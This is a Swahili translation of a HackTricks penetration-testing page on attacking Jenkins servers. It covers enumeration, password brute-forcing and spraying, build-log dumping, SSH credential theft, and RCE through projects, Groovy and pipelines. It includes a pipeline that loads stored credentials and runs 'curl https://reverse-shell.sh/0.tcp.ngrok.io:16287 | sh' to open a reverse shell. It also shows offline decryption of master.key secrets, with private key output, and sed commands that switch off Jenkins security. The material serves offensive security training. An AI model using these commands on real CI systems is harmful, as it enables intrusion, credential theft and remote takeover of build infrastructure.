Jenkins Security

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Jenkins ni chombo kinachotoa njia rahisi ya kuanzisha mazingira ya usambazaji wa kiotomatiki au utoaji wa kiotomatiki (CI/CD) kwa karibu aina yoyote ya lugha za programu na hifadhi za msimbo wa chanzo kwa kutumia mabomba. Zaidi ya hayo, inaautomatisha kazi mbalimbali za maendeleo za kawaida. Ingawa Jenkins haitoi hitaji la kuunda hati za hatua binafsi, inatoa njia ya haraka na imara zaidi ya kuunganisha mfululizo mzima wa zana za kujenga, kujaribu, na kusambaza kuliko mtu anaweza kujenga kwa mkono kwa urahisi.

pageBasic Jenkins Information

Uchambuzi Usiothibitishwa

Kwa lengo la kutafuta kurasa za Jenkins zenye kuvutia bila uthibitisho kama (/watu au /watuAsynch, hii inaorodhesha watumiaji wa sasa) unaweza kutumia:

msf> use auxiliary/scanner/http/jenkins_enum

Angalia ikiwa unaweza kutekeleza amri bila kuhitaji uthibitisho:

msf> use auxiliary/scanner/http/jenkins_command

Bila sifa unaweza kutazama ndani ya njia ya /asynchPeople/ au /securityRealm/user/admin/search/index?q= kwa majina ya watumiaji.

Unaweza kupata toleo la Jenkins kutoka kwa njia ya /oops au /error

Madokezo ya Hatari

Ingia

Katika habari msingi unaweza kuangalia njia zote za kuingia ndani ya Jenkins:

pageBasic Jenkins Information

Jisajili

Utaweza kupata mifano ya Jenkins ambayo inakuruhusu kuunda akaunti na kuingia ndani yake. Rahisi kama hiyo.

Ingia kwa SSO

Pia ikiwa SSO kazi/zana zilikuwepo basi unapaswa kujaribu kuingia kwenye programu kwa kutumia akaunti ya majaribio (yaani, akaunti ya majaribio ya Github/Bitbucket). Mbinu kutoka hapa.

Kuvunja Neno la Siri

Jenkins haina sera ya neno la siri na kizuizi cha kuvunja-jina la mtumiaji. Ni muhimu kufanya kuvunja-jina la mtumiaji kwani nywila dhaifu au majina ya watumiaji kama nywila yanaweza kutumiwa, hata majina ya watumiaji yaliyopinduliwa kama nywila.

msf> use auxiliary/scanner/http/jenkins_login

Kupuliza Nywila

Tumia skripti hii ya python au skripti hii ya powershell.

Kupitisha Uzuiaji wa Anwani ya IP

Shirika nyingi huchanganya mifumo ya usimamizi wa chanzo cha kudhibiti (SCM) inayotegemea SaaS kama GitHub au GitLab na suluhisho la CI lililohifadhiwa kwenye ndani, kama Jenkins au TeamCity. Hii inaruhusu mifumo ya CI kupokea matukio ya webhook kutoka kwa wauzaji wa kudhibiti chanzo wa SaaS, hasa kwa kusababisha kazi za mabomba.

Kufanikisha hili, mashirika hupitia orodha nyeupe ya mbalimbali ya IP ya jukwaa za SCM, kuwaruhusu kupata mfumo wa CI wa ndani kupitia webhooks. Hata hivyo, ni muhimu kutambua kwamba yeyote anaweza kuunda akaunti kwenye GitHub au GitLab na kuiboresha ili kusababisha webhook, kwa uwezekano wa kutuma maombi kwa mfumo wa CI wa ndani.

Angalia: shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

Matumizi Mabaya ya Jenkins ya Ndani

Katika mazingira haya, tutadhani una akaunti halali ya kupata Jenkins.

Kulingana na mfumo wa Idhini uliowekwa katika Jenkins na ruhusa ya mtumiaji aliyeathiriwa, unaweza au huenda usiweze kufanya mashambulizi yafuatayo.

Kwa maelezo zaidi angalia habari za msingi:

pageBasic Jenkins Information

Kuorodhesha Watumiaji

Ikiwa umepata ufikiaji wa Jenkins unaweza kuorodhesha watumiaji wengine waliosajiliwa kwenye http://127.0.0.1:8080/asynchPeople/

Kudondosha Ujenzi ili Kupata Siri za Maandishi Wazi

Tumia skripti hii kudondosha matokeo ya konsoli ya ujenzi na mazingira ya ujenzi kwa matumaini ya kupata siri za maandishi wazi.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Kuiba SSH Credentials

Ikiwa mtumiaji aliyeathiriwa ana mamlaka za kutosha za kuunda/kurekebisha nodi mpya ya Jenkins na vyeti vya SSH tayari vimehifadhiwa kufikia nodi zingine, anaweza kuiba vyeti hivyo kwa kuunda/kurekebisha nodi na kuweka mwenyeji ambao utarekodi vyeti bila kuthibitisha funguo ya mwenyeji:

Kawaida utapata vyeti vya SSH vya Jenkins katika mtoa huduma wa kimataifa (/credentials/), hivyo unaweza pia kuvitiririsha kama unavyoweza kuvitiririsha siri nyingine yoyote. Taarifa zaidi katika Sehemu ya Kutiririsha Siri.

RCE katika Jenkins

Kupata shell kwenye seva ya Jenkins humpa mshambuliaji fursa ya kuvuja siri zote na mazingira ya mazingira na kutumia mashine nyingine zilizoko kwenye mtandao huo huo au hata kukusanya vyeti vya wingu.

Kwa chaguo-msingi, Jenkins ita endesha kama SYSTEM. Hivyo, kuathiri itampa mshambuliaji mamlaka ya SYSTEM.

RCE Kuunda/Kurekebisha Mradi

Kuunda/Kurekebisha mradi ni njia ya kupata RCE kwenye seva ya Jenkins:

pageJenkins RCE Creating/Modifying Project

RCE Kutekeleza Skripti ya Groovy

Unaweza pia kupata RCE kwa kutekeleza skripti ya Groovy, ambayo inaweza kuwa ya siri kuliko kuunda mradi mpya:

pageJenkins RCE with Groovy Script

RCE Kuunda/Kurekebisha Mpipelines

Unaweza pia kupata RCE kwa kuunda/kurekebisha mpipeline:

pageJenkins RCE Creating/Modifying Pipeline

Utekaji wa Mpipeline

Ili kutumia mipipelines bado unahitaji kupata ufikio wa Jenkins.

Kujenga Mipipelines

Mipipelines inaweza pia kutumika kama makanismo ya kujenga katika miradi, katika kesi hiyo inaweza kusanidiwa faili ndani ya hazina ambayo italeta sintaksia ya mpipeline. Kwa chaguo-msingi /Jenkinsfile hutumiwa:

Pia ni kupatikana kuhifadhi faili za usanidi wa mpipeline mahali pengine (katika hazina nyingine kwa mfano) kwa lengo la kutenganisha ufikio wa hazina na ufikio wa mpipeline.

Ikiwa mshambuliaji ana ufikio wa kuandika faili hiyo ataweza kuibadilisha na kuzindua mpipeline bila hata kupata ufikio wa Jenkins. Inawezekana mshambuliaji atahitaji kupita kwa baadhi ya ulinzi wa matawi (kulingana na jukwaa na mamlaka ya mtumiaji wanaweza kupuuzwa au la).

Mizizi ya kawaida ya kuzindua mpipeline ya desturi ni:

  • Ombi la kuvuta kwa tawi kuu (au labda kwa matawi mengine)

  • Kusukuma kwa tawi kuu (au labda kwa matawi mengine)

  • Kusasisha tawi kuu na kusubiri mpaka itekelezwe kwa njia fulani

Ikiwa wewe ni mtumiaji wa nje usitarajie kuunda PR kwa tawi kuu la hazina ya mtumiaji/shirika lingine na kuzindua mpipeline... lakini ikiwa ni mbaya kusanidi unaweza kwa ukamilifu kuathiri makampuni kwa kuzitumia hivi.

RCE ya Mpipeline

Katika sehemu ya awali ya RCE tayari ilionyesha mbinu ya kupata RCE kwa kubadilisha mpipeline.

Kuangalia Mazingira ya Mazingira

Inawezekana kutangaza mazingira ya mazingira wazi kwa mpipeline mzima au kwa hatua maalum. Mazingira haya ya mazingira hayafai kuwa na habari nyeti, lakini mshambuliaji daima anaweza kuangalia usanidi/wavu wa mpipeline wote/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Kutiririsha siri

Kwa habari kuhusu jinsi siri zinavyoshughulikiwa kawaida na Jenkins angalia taarifa za msingi:

pageBasic Jenkins Information

Anwani za siri zinaweza kuwa zilizolengwa kwa watoa huduma wa ulimwengu (/credentials/) au kwa miradi maalum (/job/<project-name>/configure). Kwa hivyo, ili kuvuja zote unahitaji kuambukiza angalau miradi yote inayohifadhi siri na kutekeleza mizunguko ya desturi/iliyochafuliwa.

Kuna tatizo lingine, ili kupata siri ndani ya env ya mizunguko ya desturi unahitaji kujua jina na aina ya siri. Kwa mfano, ukijaribu kupakia siri ya usernamePassword kama siri ya string utapata kosa hili:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Hapa una njia ya kupakia aina za siri za kawaida:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Mwishoni mwa ukurasa huu unaweza kupata aina zote za vibali: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Njia bora ya kudump siri zote kwa wakati mmoja ni kwa kuharibu mashine ya Jenkins (kwa mfano, kwa kuendesha kitanzi cha nyuma kwenye node iliyojengwa-ndani) na kisha kuvuja funguo za msingi na siri zilizoandikwa na kuzifichua nje ya mtandao. Zaidi kuhusu jinsi ya kufanya hivi katika sehemu ya Nodes & Agents na katika sehemu ya Post Exploitation.

Vichocheo

Kutoka kwenye nyaraka: Mwongozo wa triggers unadefini njia za kiotomatiki ambazo Pipeline inapaswa kuchapishwa tena. Kwa Pipelines zilizounganishwa na chanzo kama GitHub au BitBucket, triggers inaweza isiwe muhimu kwani ushirikiano unaotegemea webhooks labda tayari upo. Vichocheo vilivyopo ni cron, pollSCM na upstream.

Mfano wa Cron:

triggers { cron('H */4 * * 1-5') }

Angalia mifano mingine katika nyaraka.

Nodes & Agents

Kipengele cha Jenkins kinaweza kuwa na mawakala tofauti wanaofanya kazi kwenye mashine tofauti. Kutoka mtazamo wa mshambuliaji, kupata ufikiaji wa mashine tofauti kunamaanisha vitambulisho vya wingu tofauti vya kuiba au ufikiaji tofauti wa mtandao ambao unaweza kutumiwa kudukua mashine nyingine.

Kwa maelezo zaidi angalia habari za msingi:

pageBasic Jenkins Information

Unaweza kuchambua nodes zilizowekwa katika /computer/, kawaida utapata Node Iliyojengwa Ndani (ambayo ni node inayofanya kazi Jenkins) na labda zaidi:

Ni hasa ya kuvutia kudukua node Iliyojengwa Ndani kwa sababu ina habari nyeti za Jenkins.

Ili kuonyesha unataka kutekeleza mabomba kwenye node ya Jenkins iliyojengwa ndani unaweza kufafanua ndani ya mabomba mpangilio ufuatao:

pipeline {
agent {label 'built-in'}

Mfano kamili

Mpipa katika wakala maalum, na kichocheo cha cron, na mazingira ya mpipa na hatua, ikilipakia mazingira 2 katika hatua na kutuma ganda la nyuma:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Baada ya Uvamizi

Metasploit

msf> post/multi/gather/jenkins_gather

Siri za Jenkins

Unaweza kuorodhesha siri kwa kufikia /credentials/ ikiwa una idhini ya kutosha. Tafadhali kumbuka kuwa hii itaorodhesha tu siri ndani ya faili ya credentials.xml, lakini faili za usanidi wa ujenzi zinaweza kuwa na siri zaidi.

Ikiwa unaweza kuona usanidi wa kila mradi, unaweza pia kuona huko majina ya siri (siri) zinazotumiwa kupata hazina na siri zingine za mradi.

Kutoka Groovy

pageJenkins Dumping Secrets from Groovy

Kutoka diski

Faili hizi zinahitajika kufichua siri za Jenkins:

  • secrets/master.key

  • secrets/hudson.util.Secret

Siri kama hizo kawaida zinaweza kupatikana katika:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Hapa kuna regex ya kuzipata:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Kufichua siri za Jenkins nje ya mtandao

Ikiwa umedump maneno muhimu ya kufichua siri, tumia script hii kufichua siri hizo.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Kufichua siri za Jenkins kutoka Groovy

println(hudson.util.Secret.decrypt("{...}"))

Unda mtumiaji mpya wa admin

  1. Fikia faili ya Jenkins config.xml katika /var/lib/jenkins/config.xml au C:\Program Files (x86)\Jenkis\

  2. Tafuta neno <useSecurity>true</useSecurity> na badilisha neno true kuwa false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Anza upya server ya Jenkins: service jenkins restart

  5. Sasa nenda kwenye portal ya Jenkins tena na Jenkins haitauliza nywila yoyote wakati huu. Nenda kwenye "Manage Jenkins" kuweka nywila ya msimamizi tena.

  6. Wezesha tena usalama kwa kubadilisha mipangilio kuwa <useSecurity>true</useSecurity> na anzisha upya Jenkins tena.

Marejeo

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated